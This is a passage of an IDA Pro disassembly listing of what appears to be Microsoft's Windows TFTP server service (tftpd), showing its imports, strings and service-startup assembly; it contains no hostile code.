; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : DD98C3C1084E5B54932E6CC9459D009B ; File Name : u:\work\dd98c3c1084e5b54932e6cc9459d009b_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 1000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00003310 ( 13072.) ; Section size in file : 00003400 ( 13312.) ; Offset to raw data for section: 00000600 ; Flags 60000020: Text Executable Readable ; Alignment : default ; ; Imports from ADVAPI32.dll ; include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Externs ; _idata ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p ; DATA XREF: sub_10037BF+20r ; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable) extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp ; DATA XREF: sub_1001570+DBr ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p ; sub_10037BF+99p ... ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p ; DATA XREF: sub_10037BF+143r ; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc) extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap ; DATA XREF: sub_1001665+4Ar ; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus) extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap ; sub_1001665+F7p ... ; ; Imports from KERNEL32.dll ; ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp ; DATA XREF: sub_1001570+EDr ; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize) extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p ; DATA XREF: sub_1003910+34r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p ; DATA XREF: sub_1002A3D+35r ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p ; DATA XREF: sub_1002901+48r ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p ; sub_1002F31+1C3p ... ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p ; DATA XREF: sub_1001E73+36r ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p ; DATA XREF: HandlerProc+38r ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p ; sub_1001665:loc_1001762p ... ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p ; sub_1001A91+1ABp ; DATA XREF: ... ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep ; sub_1001665+89p ... ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p ; sub_10018DB+19p ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p ; DATA XREF: sub_10019F0+23r ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p ; sub_1001A91+B5p ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p ; DATA XREF: sub_1001A1F+58r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p ; sub_1001E73+A9p ... ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp ; sub_1001A91+4Ep ... ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp ; sub_1001A91+2C1p ; DATA XREF: ... ; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p ; DATA XREF: sub_1001A91+158r ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p ; DATA XREF: sub_1001A91+93r ; BOOL __stdcall ResetEvent(HANDLE hEvent) extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p ; DATA XREF: sub_1001A91+75r ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: .text:01001D94p ; sub_100205A+4Ep ; DATA XREF: ... ; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p ; .text:01001D9Bp ; DATA XREF: ... ; DWORD __stdcall SuspendThread(HANDLE hThread) extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p ; DATA XREF: HandlerProc+50r ; ; Imports from MSVCRT.dll ; extrn __imp__initterm:dword ; DATA XREF: _inittermr extrn __getmainargs:dword ; CODE XREF: .text:01003B18p ; DATA XREF: .text:01003B18r extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p ; DATA XREF: .text:01003AD8r extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p ; sub_1002F31+20Ap ; DATA XREF: ... extrn _close:dword ; CODE XREF: sub_1002953+11p ; DATA XREF: sub_1002953+11r extrn _read:dword ; CODE XREF: sub_10027E1+63p ; DATA XREF: sub_10027E1+63r ; void *__cdecl malloc(size_t Size) extrn malloc:dword ; CODE XREF: sub_1001FA6+30p ; sub_100205A+93p ... ; void *__cdecl realloc(void *Memory, size_t NewSize) extrn realloc:dword ; CODE XREF: sub_1001FA6+55p ; DATA XREF: sub_1001FA6+55r ; int __cdecl fclose(FILE *File) extrn fclose:dword ; CODE XREF: sub_1001E73+CDp ; DATA XREF: sub_1001E73+CDr ; void __cdecl free(void *Memory) extrn free:dword ; CODE XREF: sub_10018DB+75p ; sub_1001F54+47p ... ; time_t __cdecl time(time_t *Time) extrn time:dword ; CODE XREF: sub_1001665+114p ; HandlerProc+8p ; DATA XREF: ... extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp ; sub_1001665+1BEp ; DATA XREF: ... ; int *__cdecl errno() extrn _errno:dword ; CODE XREF: sub_1001665+1A7p ; sub_10027E1+7Dp ... extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp ; DATA XREF: sub_1001665+1AEr ; FILE *__cdecl fopen(const char *Filename, const char *Mode) extrn fopen:dword ; CODE XREF: sub_1001665+1DBp ; DATA XREF: sub_1001665+1DBr ; char *__cdecl ctime(const time_t *Time) extrn ctime:dword ; CODE XREF: sub_1001665+1F7p ; HandlerProc+19p ; DATA XREF: ... ; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask) extrn __imp__controlfp:dword ; DATA XREF: _controlfpr extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp ; DATA XREF: .text:01003A7Fr extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp ; DATA XREF: .text:01003A9Cr extrn __p__commode:dword ; CODE XREF: .text:01003AAAp ; DATA XREF: .text:01003AAAr extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r ; int printf(const char *Format, ...) extrn printf:dword ; CODE XREF: sub_1001570+52p ; sub_1001570+5Fp ... extrn __p___initenv:dword ; CODE XREF: .text:01003B33p ; DATA XREF: .text:01003B33r extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr ; void __cdecl exit(int Code) extrn _exit:dword ; CODE XREF: .text:01003B7Ap ; DATA XREF: .text:01003B7Ar extrn _open:dword ; CODE XREF: sub_1002F31+1A6p ; sub_100333A+1B9p ; DATA XREF: ... extrn _write:dword ; CODE XREF: sub_100373A+5Bp ; DATA XREF: sub_100373A+5Br ; void __cdecl exit(int Code) extrn exit:dword ; CODE XREF: sub_1001570+CFp ; sub_1001665+C0p ... ; ; Imports from WS2_32.dll ; ; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags) extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p ; DATA XREF: sub_100205A+17r ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p ; sub_1001A91+12Bp ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p ; DATA XREF: sub_1001665+A6r ; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents) extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp ; DATA XREF: sub_100188E+Cr ; u_short __stdcall htons(u_short hostshort) extrn htons:dword ; CODE XREF: sub_1001A91+1D2p ; sub_100230A+18p ... ; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags) extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep ; DATA XREF: sub_1001A91+18Er ; u_short __stdcall ntohs(u_short netshort) extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep ; sub_1002A3D+40p ... ; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp ; DATA XREF: sub_1001A91+10Fr ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap ; DATA XREF: sub_1001A91+2Ar ; BOOL __stdcall WSACloseEvent(HANDLE hEvent) extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp ; DATA XREF: sub_1001F54+1Cr ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_1001F54+13p ; sub_100205A+E7p ... ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p ; sub_1002F31+64p ... ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_100205A+7Ap ; sub_1002F31+256p ... ; struct servent *__stdcall getservbyname(const char *name, const char *proto) extrn getservbyname:dword ; CODE XREF: sub_100205A+37p ; DATA XREF: sub_100205A+37r ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: sub_1002F31+22Ep ; sub_100333A+1EBp ; DATA XREF: ... ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_100230A+B6p ; sub_1002A3D+65p ... ; ; Imports from iphlpapi.dll ; ; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped) extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger ; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder) extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler ; ; Imports from ntdll.dll ; ; void *__cdecl memmove(void *Dst, const void *Src, size_t Size) extrn memmove:dword ; CODE XREF: sub_100273D+72p ; DATA XREF: sub_100273D+72r ; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) extrn strncpy:dword ; CODE XREF: sub_1003910+24p ; DATA XREF: sub_1003910+24r ; int __cdecl isupper(int C) extrn isupper:dword ; CODE XREF: sub_100333A+86p ; DATA XREF: sub_100333A+86r ; int __cdecl tolower(int C) extrn tolower:dword ; CODE XREF: sub_1002F31+88p ; sub_100333A+95p ; DATA XREF: ... extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp ; sub_1002B5E+114p ... extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p ; sub_1002A3D+FDp ... ; int __cdecl stricmp(const char *Str1, const char *Str2) extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p ; sub_10023D8+C6p ... ; int __cdecl atoi(const char *Str) extrn atoi:dword ; CODE XREF: sub_10023D8+81p ; sub_10023D8+F2p ; DATA XREF: ... ; char *__cdecl itoa(int Val, char *DstBuf, int Radix) extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p ; DATA XREF: sub_10023D8:loc_1002597r extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap ; sub_1002901+35p ; DATA XREF: ... extrn __imp__chkstk:dword ; DATA XREF: _chkstkr extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p ; DATA XREF: sub_10018DB+81r extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p ; sub_10018DB+D6p ; DATA XREF: ... extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p ; sub_1002F31+34Dp ... ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 100117Ch assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 2 dup(0) dd 37ECADD7h, 0 dd 4, 110h, 0 dd 4C00h, 0 dd 37ECADD7h, 0 dd 3, 310h, 0 dd 4D10h, 0 dd 37ECADD7h, 0 dd 6, 2 dup(0) dd 5020h, 0 dd 37ECADD7h, 0 dd 2, 1Ah, 0 db 90h db 0FEh, 0A7h, 0FFh aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999' db ' 22:17:18',0Ah,0 ; char aOWritableFiles[] aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o ; char aWritable[] aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo ; sub_10037BF+121o align 4 ; char aOReadableFiles[] aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o ; char aReadable[] aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o ; sub_10037BF+F1o align 4 ; char aOValidmastersK[] aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o ; char aMasters[] aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o ; sub_10037BF+C1o ; char aOValidclientsK[] aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao ; char aClients[] aClients db 'clients',0 ; DATA XREF: sub_1001570+95o ; sub_10037BF+8Eo ; char aTheseKeysAreSh[] aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah ; DATA XREF: sub_1001570+8Do db 0 align 4 ; char aOStartdirector[] aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o ; char ValueName[] ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo ; sub_10037BF+5Co align 4 ; char aRegistryKeyNam[] aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0 ; DATA XREF: sub_1001570+76o ; char SubKey[] SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0 ; DATA XREF: sub_1001570+71o ; sub_10037BF+13o align 10h ; char aTftpd_logfileI[] aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o db 0Ah,0 align 4 ; char Filename[] Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o ; sub_1001665+1D6o align 4 ; char aTftpd_default_[] aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao align 4 ; char Source[] Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o ; sub_1003910+1Eo a? db '-?',0 ; DATA XREF: sub_1001570+10o align 4 ; char Mode[] Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o align 4 ; char name[] name db 'tftp',0 ; DATA XREF: sub_100205A+31o align 10h ; char proto[] proto db 'udp',0 ; DATA XREF: sub_100205A+2Co aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o align 10h aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo align 10h aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o align 10h aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo align 4 aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o align 4 aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o align 4 aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o ; char aTsize[] aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao align 10h ; char aTimeout_0[] aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o ; char Str2[] Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o ; sub_100333A+201o ... align 10h aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o ; sub_100333A+1A0o align 4 aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o ; sub_100333A+159o aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o ; sub_100333A:loc_100341Fo align 10h aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo ; sub_100333A:loc_10033E1o align 4 asc_100155C: ; DATA XREF: sub_1003910+7Fo unicode 0, <\>,0 dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_1001570 proc near ; CODE XREF: .text:01003B4Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 1 push esi jle loc_1001646 mov eax, [esp+4+arg_4] mov esi, offset a? ; "-?" mov eax, [eax+4] loc_1001588: ; CODE XREF: sub_1001570+34j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_10015AA test cl, cl jz short loc_10015A6 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_10015AA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_1001588 loc_10015A6: ; CODE XREF: sub_1001570+22j xor eax, eax jmp short loc_10015AF ; --------------------------------------------------------------------------- loc_10015AA: ; CODE XREF: sub_1001570+1Ej ; sub_1001570+2Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_10015AF: ; CODE XREF: sub_1001570+38j test eax, eax jnz loc_1001646 mov esi, ds:printf push offset Format ; " ======================================"... call esi ; printf pop ecx push offset Source ; "\\tftpdroot\\" push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n" call esi ; printf pop ecx pop ecx push offset Filename ; "tftpd.log" push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n" call esi ; printf pop ecx pop ecx push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"... call esi ; printf pop ecx pop ecx push offset ValueName ; "directory" push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"... call esi ; printf pop ecx push offset aClients ; "clients" push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aMasters ; "masters" push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aReadable ; "readable" push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aWritable ; "writable" push offset aOWritableFiles ; " o writable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push 0FFFFFFFFh ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_1001646: ; CODE XREF: sub_1001570+6j ; sub_1001570+41j push offset ServiceStartTable ; lpServiceStartTable call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_100165B call ds:GetLastError loc_100165B: ; CODE XREF: sub_1001570+E3j push 0 ; uExitCode call ds:ExitProcess ; ExitProcess sub_1001570 endp ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi push edi xor ebp, ebp push offset HandlerProc ; lpHandlerProc push offset ServiceName ; "Tftpd" mov ServiceStatus.dwServiceType, 30h mov ServiceStatus.dwCurrentState, 2 mov ServiceStatus.dwControlsAccepted, ebp mov ServiceStatus.dwCheckPoint, 1 mov ServiceStatus.dwWaitHint, 4E20h mov ServiceStatus.dwWin32ExitCode, ebp mov ServiceStatus.dwServiceSpecificExitCode, ebp call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA cmp eax, ebp mov hServiceStatus, eax jz loc_1001762 mov esi, ds:SetServiceStatus mov edi, offset ServiceStatus push edi ; lpServiceStatus push eax ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebp jz loc_1001762 mov ebx, ds:CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ebx ; CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes mov hHandle, eax call ebx ; CreateEventA cmp hHandle, ebp mov hObject, eax jz short loc_100171C cmp eax, ebp jz short loc_100171C push offset stru_1006140 ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup cmp eax, 0FFFFFFFFh jnz short loc_1001735 call ds:WSAGetLastError ; WSAGetLastError loc_100171C: ; CODE XREF: sub_1001665+96j ; sub_1001665+9Aj ... push 1Fh call sub_1001E73 push 1 ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_100172C: ; CODE XREF: sub_1001665+218j ; sub_1001665+224j pop edi pop esi pop ebp xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_1001735: ; CODE XREF: sub_1001665+AFj push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 4 push hServiceStatus ; hServiceStatus mov ServiceStatus.dwControlsAccepted, 7 mov ServiceStatus.dwCheckPoint, ebp mov ServiceStatus.dwWaitHint, ebp call esi ; SetServiceStatus cmp eax, ebp jnz short loc_100176A loc_1001762: ; CODE XREF: sub_1001665+57j ; sub_1001665+6Ej call ds:GetLastError jmp short loc_100171C ; --------------------------------------------------------------------------- loc_100176A: ; CODE XREF: sub_1001665+FBj push 9 pop ecx xor eax, eax mov edx, offset Time mov edi, edx rep stosd push edx ; Time call ds:time ; time pop ecx mov edx, [esp+10h+arg_0] dec edx mov ebx, (offset dword_1005E07+1) jz short loc_10017F3 mov eax, [esp+10h+arg_4] lea eax, [eax+edx*4] mov [esp+10h+arg_0], eax loc_1001797: ; CODE XREF: sub_1001665+18Cj mov eax, [esp+10h+arg_0] mov eax, [eax] cmp byte ptr [eax], 2Dh jnz short loc_10017F3 movsx ecx, byte ptr [eax+1] sub ecx, 64h jz short loc_10017C9 dec ecx jz short loc_10017BD dec ecx jnz short loc_10017E9 mov dword_1005DD8, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017BD: ; CODE XREF: sub_1001665+147j mov dword_1005DD4, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017C9: ; CODE XREF: sub_1001665+144j lea edi, [eax+2] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_10017E9: ; CODE XREF: sub_1001665+14Aj ; sub_1001665+156j ... sub [esp+10h+arg_0], 4 dec edx cmp edx, ebp ja short loc_1001797 loc_10017F3: ; CODE XREF: sub_1001665+125j ; sub_1001665+13Bj call sub_10037BF call sub_1003910 mov esi, ds:_chdir push ebx call esi ; _chdir cmp eax, 0FFFFFFFFh pop ecx jnz short loc_100182E call ds:_errno ; _errno push ebx call ds:_mkdir ; _mkdir cmp eax, ebp pop ecx jnz loc_100171C push ebx call esi ; _chdir cmp eax, ebp pop ecx jnz loc_100171C loc_100182E: ; CODE XREF: sub_1001665+1A5j cmp dword_1005DD8, ebp jz short loc_1001857 push offset Mode ; "a+" push offset Filename ; "tftpd.log" call ds:fopen ; fopen pop ecx cmp eax, ebp pop ecx mov File, eax jnz short loc_1001857 mov dword_1005DD8, ebp loc_1001857: ; CODE XREF: sub_1001665+1CFj ; sub_1001665+1EAj push offset Time ; Time call ds:ctime ; ctime pop ecx call sub_10018DB call sub_10019F0 push 0FFFFFFFFh ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject cmp eax, ebp jz loc_100172C call ds:GetLastError jmp loc_100172C sub_1001665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char) sub_100188E proc near ; CODE XREF: sub_100205A+D5p ; sub_1002F31+2A8p ... var_4 = dword ptr -4 s = dword ptr 8 hEventObject = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push 3 ; lNetworkEvents push [ebp+hEventObject] ; hEventObject push [ebp+s] ; s call ds:WSAEventSelect ; WSAEventSelect test eax, eax jz short loc_10018AE call ds:GetLastError xor eax, eax jmp short locret_10018D7 ; --------------------------------------------------------------------------- loc_10018AE: ; CODE XREF: sub_100188E+14j test [ebp+arg_8], 1 push 0 push 0FFFFFFFFh push [ebp+s] jz short loc_10018C2 push offset loc_1001D74 jmp short loc_10018C7 ; --------------------------------------------------------------------------- loc_10018C2: ; CODE XREF: sub_100188E+2Bj push offset loc_1001DDB loc_10018C7: ; CODE XREF: sub_100188E+32j push [ebp+hEventObject] lea eax, [ebp+var_4] push eax call ds:RtlRegisterWait ; RtlRegisterWait mov eax, [ebp+var_4] locret_10018D7: ; CODE XREF: sub_100188E+1Ej leave retn 0Ch sub_100188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp Memory = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:InitializeCriticalSection push edi push offset CriticalSection ; lpCriticalSection call esi ; InitializeCriticalSection push offset stru_1006020 ; lpCriticalSection call esi ; InitializeCriticalSection mov eax, offset dword_1006098 mov dword_100609C, eax mov dword_1006098, eax mov eax, offset Memory mov dword_100603C, eax mov Memory, eax lea eax, [ebp+Memory] push eax call sub_1001FA6 xor esi, esi test eax, eax jnz short loc_1001957 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_100194F xor edi, edi loc_100192E: ; CODE XREF: sub_10018DB+72j mov ecx, [eax+edi+4] cmp ecx, esi jz short loc_1001947 cmp ecx, 100007Fh jz short loc_1001947 push ecx ; in call sub_100205A mov eax, [ebp+Memory] loc_1001947: ; CODE XREF: sub_10018DB+59j ; sub_10018DB+61j inc ebx add edi, 18h cmp ebx, [eax] jb short loc_100192E loc_100194F: ; CODE XREF: sub_10018DB+4Fj push eax ; Memory call ds:free ; free pop ecx loc_1001957: ; CODE XREF: sub_10018DB+46j push offset dword_10060A0 call ds:RtlCreateTimerQueue ; RtlCreateTimerQueue cmp 